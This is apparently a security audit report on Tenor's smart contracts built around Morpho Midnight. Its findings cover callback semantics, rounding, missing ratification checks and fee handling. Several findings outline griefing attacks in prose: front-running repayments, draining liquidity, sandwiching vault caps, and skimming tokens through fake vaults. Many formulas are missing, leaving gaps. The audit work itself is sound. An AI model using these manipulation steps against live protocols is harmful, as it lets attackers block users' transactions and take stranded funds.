onLiquidatecallback which one can check but currently is commented out:diff --git a/src/periphery/MidnightVaultExecutor.sol b/src/periphery/MidnightVaultExecutor.solindex 272fc440..a0212b3f 100644--- a/src/periphery/MidnightVaultExecutor.sol+++ b/src/periphery/MidnightVaultExecutor.sol@@ -209,12 +209,13 @@ contract MidnightVaultExecutor is IMidnightVaultExecutor, IRepayCallback, ILiqui uint256 seizedShares, uint256 repaidUnits, uint256 badDebt,- address, /* liquidatorFromMidnight */+ address liquidatorFromMidnight, address borrower, address receiver, bytes memory data ) external override returns (bytes32) { if (msg.sender != address(MORPHO_MIDNIGHT)) revert CallbackLib.OnlyMidnight();+ if (liquidatorFromMidnight != address(this)) revert Unauthorized(); (address vault, address liquidator, uint256 minSharePriceE27, bytes memory callbackData) = abi.decode(data, (address, address, uint256, bytes)); CallbackLib.validateVaultCollateral(market, vault, market.loanToken, collateralIndex);MidnightVaultExecutor inner callbacks reuse native Midnight semantics after transforming callback data
State
- Fixed
PR #510
Severity
- Severity: Low
≈
Likelihood: Medium×
Impact: Low Submitted by
Saw-mon and Natalie
Description
MidnightVaultExecutoris the callback target passed to Morpho Midnight forrepayandliquidate, but it then forwards a second, inner callback to the original caller using the same native Midnight callback interfaces and the sameCALLBACK_SUCCESSreturn value. This inner callback is not a direct Midnight callback anymore: the executor has already withdrawn vault-share collateral, redeemed those shares into vault underlying, and changed which asset the downstream callback observes.In the repay path, the executor redeems
sharesToWithdrawvault shares and, when callback data is non-empty, sends the redeemed underlying to the original caller before callingIRepayCallback(caller).onRepay(id, market, units, onBehalf, callbackData). The forwarded callback receives only the native Midnight repay parameters. It does not receive the vault address, shares withdrawn, or redeemed amount from the executor-specific operation, even though those values define the assets that were made available to fund the repayment.In the liquidation path, the mismatch is more explicit. Midnight passes the executor the amount of vault-share collateral seized. The executor redeems those shares, transfers the redeemed underlying to the original liquidator, and then calls
ILiquidateCallback.onLiquidatewithredeemedin the argument position that the native Midnight interface namesseizedAssets. As a result, the forwarded callback'sseizedAssetsvalue is not the seized Midnight collateral amount; it is the redeemed underlying amount. The actual seized vault-share amount is not forwarded. The forwardedliquidatoris also changed to the original caller, while the native Midnight liquidator was the executor and the native Midnightreceiverremains the executor.This creates a hybrid callback surface where some arguments follow Morpho Midnight semantics and others follow executor-specific semantics. Integrators that implement generic Midnight callbacks, or that rely on the native callback names and magic return value to infer caller and asset semantics, can misinterpret the callback and make incorrect accounting or funding decisions.
Recommendation
Define Tenor-specific inner callback interfaces for the executor instead of reusing
IRepayCallbackandILiquidateCallbackfor transformed callbacks. The interfaces should use Tenor-specific endpoint names and success constants, for examplekeccak256("tenor.v1.MidnightVaultExecutor.onRepayAndWithdraw.success")andkeccak256("tenor.v1.MidnightVaultExecutor.onLiquidateAndRedeem.success"), so downstream contracts cannot accidentally treat executor callbacks as native Midnight callbacks.The repay callback should document and expose the executor-specific values needed by downstream integrations, including the vault, collateral index, shares withdrawn, redeemed underlying amount, repay units, and
onBehalfaccount.The liquidation callback should distinguish the native collateral amount from the redeemed underlying amount. In particular, pass both
seizedSharesandredeemedAssets, and document thatmsg.senderis the executor while the forwarded liquidator field identifies the original liquidator/caller. Avoid forwarding the native Midnightreceiverwithout renaming it, because in this flow it is the vault-share receiver, not necessarily the recipient of redeemed underlying assets.Partial migration can move zero collateral while nonzero debt is renewed
State
- Acknowledged
Severity
- Severity: Low
Submitted by
rscodes
Description
On partial borrower renewals,
CollateralTransferLib.transferCollateralsmigrates matching collateral in proportion withmulDivDown. When the source collateral balance is small or the token is low-decimal, a fill can repay nonzero source debt (viaBorrowMidnightRenewalCallback) while the pro-rata transfer rounds to zero, so no collateral moves to the target for that fill.Root cause of issue is that
collateralToTransfer = sourceCollateralBalance.mulDivDown(repaidUnits, sourceDebtBefore)can be0whilerepaidUnits > 0whensourceCollateralBalance * repaidUnits < sourceDebtBefore.Sequence of events
- Borrower holds source debt with a small or low-decimal matching collateral balance on the source market.
- Keeper (or taker) executes one or more small partial renewal fills on the target market.
BorrowMidnightRenewalCallbackrepays nonzero source debt and increases target debt for each fill.transferCollateralscomputes pro-rata migration;collateralToTransfer == 0for that fill.- If the target position still passes Midnight health (e.g. existing target collateral), the fill succeeds.
- Source collateral remains on the source market; target debt grows without proportional collateral on the target until a later partial or the final sweep.
- Borrower bears elevated liquidation risk on the target between fills; loss is only realised if the target is liquidated or migration is not completed before adverse price movement.
Recommendation
Enforce minimum pro-rata transfer (at least 1 unit when
repaidUnits > 0), partial-fill dust threshold, or post-fill collateral/LTV checks on the renewal callback similar to supply-collateralmaxLtv.MarketMakingPolicy does not restrict the callbacks used to the only 2 mentioned
State
- Acknowledged
Severity
- Severity: Low
≈
Likelihood: Medium×
Impact: Medium Submitted by
Saw-mon and Natalie
Description
MarketMakingPolicydoes not restrict the callbacks used to the only 2 mentioned:LendMidnightToVaultCallbackLendVaultToMidnightCallback
Recommendation
Make sure to prevent the following callbacks getting used in combination with this policy:
BorrowBlueToMidnightCallbackBorrowMidnightToBlueCallback
An easy way to do this would be to pass the callback address to
getRatefrom_ratifyRateand inMarketMakingPolicy's constructor one would need to populate the set of restricted callbacks pulled fromMigrationIntentRatifier.The incorrect picking of parameters (in other findings) might have been stemmed from looking at these 2 undesired callbacks.
Tenor
Acknowledged. We are considering either
- The defense-in-depth approach as recommended, which means we'd add some coupling between policies <> callbacks (although optional, per-policy)
- Having a separate client-facing contract that would hold all logic to safely operate the set of ratification parameters for market-making (force only one hardcoded policy, curve, restrict callbacks, build userParams)
Context: Higher-level goal is to make it safe and easy for integrators / scripts operate market-making directly onchain. Market-making paths will not be integrated in our SDK short term. Option 2) might be a good option in that sense rather than risk let users lose funds due to misoperation of low-level contracts (such as surfaced by this finding)
Incorrect rounding direction for price in satisfiesRateLimit
State
- Fixed
PR #556
Severity
- Severity: Low
≈
Likelihood: High×
Impact: Medium Submitted by
Saw-mon and Natalie
Description
When
isBuy == false(for example in theMidnight → IntentSettler → MigrationIntentRatifierfor a sell offer of a maker) one should round up thepriceto make sure the tick price ratification is more strict and in favour of themaker:ie, when the intent user is the seller.
Recommendation
Pass
isBuyincomputePriceto:- round up the final division if
isBuy == false - otherwise round down
MigrationIntentRatifier does not full ratify the offer
State
- Acknowledged
Severity
- Severity: Low
Submitted by
Saw-mon and Natalie
Description
The
Offerstruct is:struct Offer { Market market; bool buy; address maker; uint256 start; uint256 expiry; uint256 tick; bytes32 group; address callback; bytes callbackData; address receiverIfMakerIsSeller; address ratifier; bool reduceOnly; uint256 maxUnits; uint256 maxAssets;}Analysing the
Midnight → IntentSettler → MigrationIntentRatifier() for amakerone can deduce out of the above the following fields are not ratified:startexpirygroupcallbackData(to some sense is ratified, extra tail data is ignored)receiverIfMakerIsSellerreduceOnlymaxUnitsmaxAssets
The rest are directly or indirectly ratified/constrained.
Recommendation
It might make sense to ratify the above or introduce policies that would constrain the above fields. Otherwise document that a greedy approach is taken to allow any values for the above fields to provide maximum settlement opportunities while the other fields (the complement set) is being ratified.
receiverIfMakerIsSellershould be thecallbackfor sell offers
Footnote
buyis implicitly ratified through the current restricted set of callbacks that only implement eitheronBuyoronSell. This ratification forcallbackimplicitly implies the ratification forbuy.
Initial debt being zero checks in target markets are missing
State
- Acknowledged
Severity
- Severity: Low
Submitted by
Saw-mon and Natalie
Description
LendMidnightRenewalCallbackandLendVaultToMidnightCallbackallow funds from either a source midnight market or a vault to be used to pay for buying units in a target midnight market. It is not clear whether the specification would need to require that:- the position's debt before buying these new units in the target market should be
0.
The above property would imply that the newly acquired
unitsshould end up equal tobuyerCreditIncrease. Thus the newbuyerPendingFeeIncreasecan be directly calculated usingunits. This is for example used in the upper-bound deduction inPriceLib.satisfiesRateLimit(...)check. Otherwise the check would be stricter than required.Recommendation
Either enforce the above requirement or make sure to highlight it in the specifications clearly and be aware that it would affect the upper bound checks for
PriceLib.satisfiesRateLimit(...).Tenor
Migration callbacks in general should allow netting existing positions in target market. This is purely a design/product decision: we believe blocking a user from getting renewed in that scenario would be a worst outcome.
More specifically for the lend migration callbacks with Midnight target (
LendMidnightRenewalCallbackandLendVaultToMidnightCallback), the callbacks should allow repaying existing debt.Acknowledged, will document that
satisfiesRateLimitfor lend renewals operates under worst case assumption: 100% of the fill is subject to the market's continuous fee (no pre-existing debt). Realized rate with existing debt is strictly better than what was guaranteed.Borrow to midnight callbacks don't enforce that the seller has debt
State
- Acknowledged
Severity
- Severity: Low
Submitted by
Saw-mon and Natalie
Description
BorrowBlueToMidnightCallbackandBorrowMidnightRenewalCallbackdon't check whether the seller:- had
0credit in the target market or - the it will have debt in the target market
It is possible that after the migration, the seller might still have
0debt but collateral tokens get transferred from its source market position to the target market.Recommendation
One should either perform relevant checks for above or at least document that the above behaviours are allowed.
Callback percentage fees are not included in the satisfiesRateLimit check
State
- Acknowledged
Severity
- Severity: Low
Submitted by
Saw-mon and Natalie
Description
For the Midnight exit migrations:
BorrowMidnightToBlueCallbackLendMidnightToVaultCallback
where the
feeis calculated as:fee = CallbackLib.percentageFee(...Assets, callbackData.feeRate);the
feeis not considered in thesatisfiesRateLimitcheck even though it does affect the effective rate.Recommendation
Make sure to incorporate the percentage
feein thesatisfiesRateLimitcheck or document the decision as to why it is not considered.(depending on the route, one would need to apply trading fee to the )
Add a sanity check to make sure the intent is meant for the current ratifier
State
- Fixed
PR #529
Severity
- Severity: Low
Submitted by
Saw-mon and Natalie
Description
In the context of a migration ratifier (which might have not been invoked from
IntentSettler), it might be possible that the unusedintent.ratifierpoint to a different address.Recommendation
One can add a redundant sanity check to make sure
intent.ratifier == address(this).Enforce the connection between IntentSettler and MigrationIntentRatifier
State
- Fixed
PR #529
Severity
- Severity: Low
Submitted by
Saw-mon and Natalie
Description/Recommendation
Enforce the connection between
IntentSettlerandMigrationIntentRatifierby only requiring a stored immutableIIntentSettlerto be able to call into theonIntentRatifyendpoint. One can also enforce this in the base contract under_onIntentRatify.Ultimately, this is a design choice.
Take on behalf receiver ratification is missing
State
- Fixed
PR #529
Severity
- Severity: Low
Submitted by
Saw-mon and Natalie
Description
When the
intent.useris the seller, it might make sense to restrict thereceiverto be thetakerCallback(otherwiseaddress(0)).Recommendation
One can apply the above ratification for the
receiveror at least document why this check is missing. In the above scenario ifreceiver != takerCallbackfor the callback to not revert it would mean some funds/token should have been stored in the callback contract which can be used/skimmed.The current behaviour is more permissive of potentially more complicated flows.
Access check is missing for isRatified
State
- Fixed
PR #488
Severity
- Severity: Low
Submitted by
Saw-mon and Natalie
Description/Recommendation
Make sure only
MORPHO_MIDNIGHTcan callisRatified, unless planning for this endpoint to be connected to other on/off chain entities.Cantina
This check was added then removed to align with the design decision by Morpho regarding their ratifier implementations.
Slippage protection for 3rd party action executions might not make sense
State
- Fixed
PR #541
Severity
- Severity: Low
Submitted by
Saw-mon and Natalie
Description
For a bundle of 3rd party actions in
TenorRouter, one can perform slippage protection for:- aggregated assets in the asset fill index dimension (min or max)
- aggregated units in the units dimensions (min or max)
- average price of the actions (min or max)
The bundle of actions with the same initiator could have
taker/intent.userwhich are not the initiator (plus we know the initiator cannot be any of the makers). So the above slippage protections/checks from the initiator/keeper perspective for a bundle of 3rd party actions might not make that much sense if a mix oftakers has been used (unless in a very complicated scenarios).A keeper might want to have a:
- limit on its unit matching objective or
- aggregated assets in the asset fill index dimension if it is somehome connected to the callback fee recipient
Potentially the above might make sense.
Moreover in the above case, one cannot resolve the fill sentinel values to Midnight position state of the initiator since one is dealing with a set of takers (which might not even include the initiator).
Recommendation
Overall, the execution params and action structs include many fields and possible combination of parameters that might not make sense in general. Some restriction on the possible combination of parameters exists in the codebase (some are just documented).
- All combinations should be thoroughly documented (at least for the set of all combinations for 1. action type, 2. if the initiator is the action's offer maker, 3. offer type (sell or buy) ).
- Prevent resolving sentinel values for 3rd party actions or set those to their extreme values which would cause the related slippage protections pass.
Tenor
PR #541 disables price slippage checks for 3rd party actions (making sure the min/max prices are set to their extreme endpoints).
uint112 container does not cover the extreme low price constraint for market making policy
State
- Fixed
PR #538
Severity
- Severity: Low
≈
Likelihood: Low×
Impact: Low Submitted by
Saw-mon and Natalie
Description
CurvePointusesuint112types for the rate fields which at extreme rate and duration would give us the below values to bound extreme low effective prices:Thus up to (and including) seconds to maturity the floor and ceiling of the effective price upper and lower bounds are always positive even for the maximum value for rate :
Thus using the
uint112container for therateinCurvePointone cannot fully constrain the effective price in extreme low values. This is in contrast to the containers used forStaticRatePolicywhere one is usinguint128:even
uint120should suffice in both cases of policy types since:For
CurvePointif one useduint120for both sell and buy rate, it would leaveuint16space forttmwhich would only cover up to around hours. Thus ideally this struct could only be packed into 2 or more storage slots.NoteIn general we have the following inequality for any container types both for rates and durations:
Thus for sell side lower-bounds for the effective price there is always a minimum of wei. Thus for example, selling at
price == 0(aka willingly donating units) would not be possible with the current policies.Recommendation
Either document the above scenario or use
uin120containers for rates inCurvePoint(this would prevent packing the struct in just one storage slot where one would want thettmto cover a wide range).Cantina/Tenor
PR 538 add a NatSpec comment to acknowledge the limitation.
Misused or redundant sentinel conditional in mulDivDownInverse
State
- Fixed
PR #609
Severity
- Severity: Low
Submitted by
Saw-mon and Natalie
Description/Recommendation
In
mulDivDownInverse, potentially the first condition should benum == 0sincen == 0is not even possible.Tenor Callbacks don't check feeRecipient
State
- Acknowledged
Severity
- Severity: Low
Submitted by
Saw-mon and Natalie
Description
In Tenor callbacks, if a positive
feecalculated that amount is sent to thefeeRecipienteven though it could beaddress(0). The currentMigrationIntentRatiferimposes an invariant that for fee configs when thefeeRateis non-zero, thefeeRecipientshould also not beaddress(0). If the callbacks are not paired with this specific ratifier, that invariant might not be satisfied in general.Recommendation
Only deduce and send
feeto thefeeRecipientif it is notaddress(0).BorrowBlueToMidnightCallback can be griefed
State
- Acknowledged
Severity
- Severity: Low
≈
Likelihood: Medium×
Impact: Medium Submitted by
Saw-mon and Natalie
Description
Unlike
Midnightwhere the repayment can be gated by authorisation, Morpho Blue allows anyone repayonBehalfof any user. IfrepayBudgetclose to (but not bigger)v1Debt, an adversary can frontrun the user's tx to repay on its behalf small portion of its debt on Morpho Blue such thatrepayBudget > v1Debt'. This would allow the adversary to play with what calls can be included or excluded.Recommendation
To make the above scenario economically less favouring the adversary:
- one can instead of the the strict check
repayBudget > v1Debtonly revert ifrepayBudget - v1Debtis greater than a specific threshold which can be ratified and provided as call data OR - one can provide a flag in the ratified call data to enable or disable this strict check.
Option 1. is a more generalised solution compared to Option 2.
At the end, make sure any unused surplus budget is sent to the
sellerorreceiver.Tenor
To prevent such griefing scenario, one can use clamp contracts when configuring
TenorAdapter.executeorTenorAdapter.executeAndConsumeparams.Clamp's role is to evaluate the available liquidity in an offer JIT as tightly as possible.
BorrowMidnightToBlueCallback migrations can be griefed by temporarily draining Morpho Blue liquidity
State
- Acknowledged
Severity
- Severity: Low
≈
Likelihood: Medium×
Impact: Medium Submitted by
Saw-mon and Natalie
Description
BorrowMidnightToBlueCallback.onBuywithdraws collateral from Midnight, supplies it to Morpho Blue, then borrowsbuyerAssets + feefrom Blue for the borrower.The required Blue liquidity is not reserved. Morpho Blue
borrowmutates borrow accounting and then checks:Therefore, any prior borrow that consumes the available gap makes the callback's Blue borrow revert. The migration is atomic, so the whole Midnight-to-Blue exit reverts.
PoC
Let:
and let the victim need:
Construction:
- : attacker posts collateral and borrows from the target Blue market.
- : victim callback calls
MORPHO_BLUE.borrow(..., B, 0, buyer, address(this)). - The Blue liquidity check fails with
insufficient liquidity. - : attacker repays the debt and withdraws collateral.
If are in one block, elapsed interest is zero. Cost is gas, ordering, and temporary collateral.
Recommendation
Do not rely on ambient Blue liquidity for liveness. Add committed liquidity atomically before the Blue borrow, use a pre-funded path, or document this as an accepted migration liveness assumption.
VaultV2 liquidity adapter caps can be sandwiched to revert deposits
State
- Acknowledged
Severity
- Severity: Low
≈
Likelihood: Low×
Impact: Low Submitted by
Saw-mon and Natalie
Description
Let be the remaining cap headroom of the ids returned by an active VaultV2
liquidityAdapter.VaultV2.depositandVaultV2.mintfirst mint shares, then allocate the supplied assets to the liquidity adapter. The allocation reverts when any returned id exceeds its absolute or relative cap. The correspondingwithdrawandredeempath does not enforce the cap ceiling; it only deallocates from the liquidity adapter when idle assets are insufficient.The cap headroom is ambient state. It is not reserved for a pending user deposit. A prior deposit can consume enough headroom that the next deposit reverts, and a later withdrawal can release the attacker's capital.
This affects integrations that perform a raw VaultV2 deposit. For example,
LendMidnightToVaultCallbackdepositssellerAssets - feeinto the target vault, so an otherwise valid Midnight fill can still revert at the final vault deposit when the liquidity-adapter cap has been consumed first.NoteAlso applies to
MidnightSupplyVaultSharesCallbackandMidnightVaultExecutor.depositAndAddCollateral.PoC
Assume a victim transaction will deposit assets into a VaultV2 with an active liquidity adapter.
For an absolute cap, let be the current unused cap. Pick:
Construction:
- : the attacker deposits assets. The deposit succeeds and consumes of liquidity-adapter cap.
- : the victim deposit attempts to allocate more assets. Since remaining headroom is ,
allocateInternalreverts with the cap check. - : the attacker withdraws or redeems the shares minted in .
A builder/proposer can place in one block around the victim transaction. The attacker therefore does not need to leave capital in the vault beyond the ordered bundle.
If the cap is only relative with ratio , also increases the next transaction's cap denominator. The one-shot condition becomes:
so a single sandwich blocks deposits with . Smaller deposits require repeated ordered capacity consumption or an already tight cap.
The cost is not the full deposit amount when succeeds. It is gas, builder/proposer payment, temporary capital, rounding loss, adapter entry/exit loss, and the risk that exit liquidity is insufficient. If the withdrawal is served from idle vault assets, the attacker can recover assets while the liquidity-adapter allocation remains elevated, leaving less cap headroom after the bundle.
Recommendation
Do not treat VaultV2 liquidity-adapter capacity as an unconstrained destination for user-critical migrations.
For VaultV2 deposit callers, either size the operation against active liquidity-adapter cap headroom, require a user-supplied max/revert-tolerant fallback when the final vault deposit fails, or document this as an accepted liveness assumption for VaultV2 targets with active liquidity adapters.
executeAndConsume also increases initiator consumption for 3rd party action bundles
State
- Fixed
PR #550
Severity
- Severity: Low
Submitted by
Saw-mon and Natalie
Description
For 3rd party action bundles, the initiator might not be any of the takers. In general the aggregations in
totalsandrawTotalsis over a set of possibly different takers that might not even include the initiator. In this case the value of_MIDNIGHT.consumed(initiator, consumeGroup)gets updated byrawTotals[fillIndex]which might not directly associate with the initaior.Recommendation
Either:
- document the above scenario to mention for use cases where the keeper can aggregate their batch action executions into a consumption group which can be externally checks and bounded OR
- make sure 3rd party actions cannot use
executeAndConsumeendpoint.
onRepay for MidnightAdapterBase is not necessarily linked to the calls made to Midnight by this adapter
State
- Fixed
PR #600
Severity
- Severity: Low
≈
Likelihood: High×
Impact: Low Submitted by
Saw-mon and Natalie
Description
onRepayforMidnightAdapterBaseis not necessarily linked to the calls made toMidnightby this adapter.Recommendation
If
midnightRepayneeds to be linked toonRepay, the enforcement should be implemented.If not, it should be documented that the
onRepaycan stem from other external calls not made necessarily throughMidnightAdapterBasetoMidnight.
Informational15 findings
Donated tokens can be skimmed indirectly from MidnightWithdrawVaultSharesCallback and LendVaultToMidnightCallback
State
- Acknowledged
Severity
- Severity: Informational
Submitted by
Saw-mon and Natalie
Description
Any donated resting tokens in:
MidnightWithdrawVaultSharesCallbackandLendVaultToMidnightCallback
can be skimmed by creating fake vaults where calling the vault's
withdraw(...)would not perform any token transfers thus forcing the callback contract to use its current token balance.Recommendation
This can be documented. One can also implement safeguards to disallow the skimming process by check token balances of the callback contract before and after the call to
withdraw(...)and make sure the difference is exactly or at least the supplied underlying token to be withdrawn.The pre-condition is not checked in BorrowMidnightRenewalCallback or higher level frames
State
- Acknowledged
Severity
- Severity: Informational
Submitted by
Saw-mon and Natalie
Description
The pre-condition is not checked in
BorrowMidnightRenewalCallbackor higher level frames. TheCollateralTransferLib.transferCollaterals(...)only applies the collateral supply transfer on the intersection set of the collateral tokens between source and target markets.Recommendation
Perhaps the above logic can be documented as the
pre-conditionmight not apply always.Maker self-take is not allowed in TenorRouter
State
- Fixed
PR #594
Severity
- Severity: Informational
Submitted by
Saw-mon and Natalie
Description
For a given
actionandinitiatorthe following case is not possible:action.actionType == ActionType.MIDNIGHT_TAKEANDaction.offer.maker == initiator
This would implicitly
revertonce dispatched toMidnightsince themakerand thetakerwould be the same asinitiator.Recommendation
For better readability, might make sense to document in the NatSpec. Specifically that the enforcement is implicit.
The current fee adjustments design can be tweaked
State
- Acknowledged
Severity
- Severity: Informational
≈
Likelihood: High×
Impact: Low Submitted by
Saw-mon and Natalie
Description
The rate fees for Tenor are collected on the designed callbacks. But fee adjustments derivations are happening on separate contracts.
A better design would that Tenor callbacks contracts extending Morpho ones where they would also expose public endpoints where one would be able to query the fees getting collected during callback hooks. The fee derivation on the callback hook and the exposed queryable endpoints can be refactored into an
internalfunction to make sure there is no deviation in the calculation when collecting fees or adjust totals in theTenorRouter.In the
TenorRouterloop one can perform atry/catchwith the Tenor callback interface for fee derivation.This design would:
- simplify verification of correct fee calculation during adjustement to make sure it matches the fees collected
- reduces the data needed to construct an actions (the fee adjustment fields can be removed. For 3rd party actions only the taker/
intent.usercallback address is needed and for 1st party actions only the initiator callback would be needed.)
feeRate check is missing in TenorRouter
State
- Acknowledged
Severity
- Severity: Informational
≈
Likelihood: Medium×
Impact: Low Submitted by
Saw-mon and Natalie
Description
In
TenorRouter, actions have thefeeAdjusterDatafield which in the onlyICallbackFeeAdjusterimplementation decodes as:(uint256 feeRate, FeeFormula formula)One needs to make sure:
feeRatevalue matches with thecallbackFeeRate.formulamatches with the correspondingtakerCallbackformula used to derive thefee.
Recommendation
- can be checked easily in the action execution loop in
TenorRouter - would need a small design change or parameter addition
A better approach to avoid these missing checks would be follow the suggestion for Finding #29
Make sure fee adjustment matches the ratification and the callbacks used
State
- Acknowledged
Severity
- Severity: Informational
Submitted by
Saw-mon and Natalie
Description
Currently, it is the responsibility of the initiator to make sure the:
- the ratifiers and the callbacks contracts enforced within AND
- the fee adjustment contract/data
match. Otherwise, mismatched action fields from above could create a slippage protection check that might not make sense in general.
Recommendation
The above can be documented better. One could also introduce architectural changes that would linked the above data together more clearly (refer to Finding #29).
ExecuteParams. reduceOnly does not exactly mirror offer.reduceOnly
State
- Fixed
PR #541
Severity
- Severity: Informational
Submitted by
Saw-mon and Natalie
Description
There are a few subtle differences between
offer.reduceOnlyandExecuteParams. reduceOnly:offer.reduceOnlychecks are atomic per Midnighttake(...)calls whereasExecuteParams. reduceOnlyis for a grouped action bundleoffer.reduceOnlyimposes pre-callback checks.ExecuteParams. reduceOnlyimposes only a post action exection loop check aggregating multipletake(...)and hook (inner call frames) calls.- There are scenarios where inner calls could grow the position in the undesired direction and bring it back to its starting position for action executions. This cannot be detected or disallowed.
- The comment regarding
take-side `Offer.reduceOnly` mirroris not fully accurate, since the initiator can be both amakerortakerfor one bundle of 1st party actions.
Recommendation
It might make sense to document the above.
StaticRatePolicy's constructor should consider implementing checks
State
- Acknowledged
Severity
- Severity: Informational
Submitted by
rscodes
Description/Recommendation
I think it would be better to add constructor checks to
StaticRatePolicy. (similar to howMarketMakingPolicy.setCurvedoes it)i.e you can add checks in the constructor for:
rates.length != 0(non-empty)rates.length == durations.lengthrates.length <= 8- strictly increasing
durations
Tenor
Acknowledged and accepted, this check will be done offchain.
In practice, we'll deploy two static rate contracts, double check curves offchain, and hardcode the addresses everywhere in our SDK.
getOfferRemaining does not follow the consumableUnits logic in edge cases
State
- Acknowledged
Severity
- Severity: Informational
Submitted by
Saw-mon and Natalie
Description
The
getOfferRemainingutility function is trying to mimicconsumableUnitsof Morpho but is slightly different:- the
type(uint128).maxcaps - does not revert when
price == 0 sellerPriceusesUtilsLib.zeroFloorSub(offerPrice, tradingFee)but Morpho reverts here ifofferPrice < tradingFee.buyerPrice <= WADis missing and instead some custom inverse division functions are implemented.
The above decisions perhaps have been taken to avoid possible
revertsmake sure the execution of action bundles in the router due to the above edge cases.Recommendation
It is best to highlight above and document the decisions.
interpolate(...) rounds the values towards the left knot value
State
- Fixed
PR #539
Severity
- Severity: Informational
Submitted by
Saw-mon and Natalie
Description
interpolate(...)rounds towards the value ofvalues[i](in general different rounding directions).Recommendation
Document why the above rounding directions are used.
Check for non-zero units missing
State
- Fixed
PR #561
Severity
- Severity: Informational
Submitted by
Saw-mon and Natalie
Description
For all the other callbacks there is a check to make sure
unitscannot be0(since it can imply for example other parameters like fee would be0or full amount, etc).As an example this check is present for
MidnightWithdrawVaultSharesCallback.onBuy, even thoughunitsis not used.Recommendation
Even though
unitsis not used and also one can implicitly prove that it cannot happen due to thesellerAssetscheck (with the current midnight if theunitswere to be0then it would also implysellerAssetsto be0) for consistency it might make sense to add this check to this contract (although redundant).NoteWith the current
Midnightcontract implementation one can prove:sellerAssets != 0 → units != 0buyerAssets != 0 → units != 0Thus for all callbacks one check suffices. But to be more
MIdnightimplementation agonistic, it would be best to have both when required.MidnightSupplyVaultSharesCallback ratification pairing
State
- Acknowledged
Severity
- Severity: Informational
Submitted by
Saw-mon and Natalie
Description
MidnightSupplyVaultSharesCallbackneeds to be paired with a ratification flow that verifies thatcallbackData.tickequals tooffer.tick.Recommendation
Make sure above is documented.
Allocated VaultV2 liquidity can revert LendVaultToMidnight fills
State
- Acknowledged
Severity
- Severity: Informational
≈
Likelihood: Medium×
Impact: Low Submitted by
Saw-mon and Natalie
Description
LendVaultToMidnightCallback.onBuyfunds a Midnight buy by calling:vault.withdraw(buyerAssets + fee, address(this), buyer)Let:
The callback assumes that the vault can synchronously exit assets. VaultV2 does not give this guarantee from share ownership alone. Deposits may be allocated to a liquidity adapter, and withdrawals only pull from that adapter when idle assets are insufficient. VaultV2 also documents that allocators can set liquidity adapter data in a way that prevents withdrawals.
If all assets are allocated and the liquidity adapter cannot deallocate ,
VaultV2.exitcallsdeallocateInternal(...)before burning shares or transferring assets, and the callback reverts.The failed
onBuyreverts the surrounding Midnighttake, so the attacker does not consume offer capacity or burn lender shares. The effect is liveness griefing: attempts to fill the offer revert until VaultV2 exit liquidity is available.NoteAlso applied to
MidnightWithdrawVaultSharesCallback,PoC
Let:
Assume .
Construction:
- A lender signs a Midnight buy offer whose maker callback is
LendVaultToMidnightCallback. - The lender has approved the callback to spend its VaultV2 shares.
- Before the offer is filled, the source VaultV2 has insufficient idle plus deallocatable liquidity: .
- A taker calls
Midnight.take. - Midnight calls
LendVaultToMidnightCallback.onBuy. - The callback calls
withdraw(B, address(this), lender). VaultV2.exitattempts to deallocate from the liquidity adapter and reverts.
All Midnight state changes revert with the failed callback. The grief is failed execution, not persistent accounting corruption.
Recommendation
Document that
LendVaultToMidnightCallbackrequires immediate VaultV2 exit liquidity forbuyerAssets + fee.For VaultV2-backed offers, only use this callback when the source vault's liquidity adapter can reliably deallocate the required assets at fill time. Otherwise, use a flow that explicitly handles unavailable liquidity, such as pre-withdrawing assets, routing through a source with observable withdrawable liquidity, or adding an in-kind or force-deallocation path with documented penalties and failure modes.
Residual health decline due to migration
State
- Acknowledged
Severity
- Severity: Informational
Submitted by
Saw-mon and Natalie
Description
The pro-rata calculations in this callback (and others) introduce at most error-terms from the expected values. In total depending on the number of active collaterals affected it would be at most ( is the number of affected active collaterals).
If previously we have a healthy position:
The transition would be:
where:
Recommendation
The above is something to be aware of and perhaps document. Also the effect of dust migrations where one only settles small amounts of
unitsshould be analysed (related to Finding #13).Tenor router aggregation of taker and maker side fills for a 1st party initiator actions
State
- New
Severity
- Severity: Informational
Submitted by
Saw-mon and Natalie
Description
Below one is analysing the 1st party actions for the initiator and with the desired price range
NoteMigration intent ratifier only constrains/ratifies the tick through constraining the effective rate of the fill/settlement. Ticks are not exactly matched.
1. Initiator as the buyer
when you are buying
unitsonly the upper-bound slippage protection is important. So one just wants to make sure:Special case: Let's say the initiator somehow forces all the fills use the same expected tick so that the tick price for all fills end up being , then we get:
Let's further assume the initiator wants to set $p_{max} = p = p(i)$$ then one needs to make sure:
or in other words:
some issues that would prevent the above:
- trading fees
- migration fees
- the rounded up assets when the initiator is the taker
Let's assume further that the trading and migration fees are , then the desired check becomes:
we know that
So the desired inequality for the aggregated price might not be satisfied in general. Even if one performs the suggestion from PR #593 the check transforms into:
which again might not hold since for one has .
PR #593 can only guarantee that when:
- all filled prices are equal to the max price
- there are no trading fees
- there are no migration fees
- the initiator only has ONE taker fill
Then the suggestion works. But this is a very limited case (for example when everything is satisfied above but the initiator has two taker fills then what PR #593 checks can cause the bundle to revert.
2. Initiator as the seller
when you are selling
unitsonly the lower-bound slippage protection is important. So one just wants to make sure:and for the special case everything is smilier to for the buying case, except in reverse directions.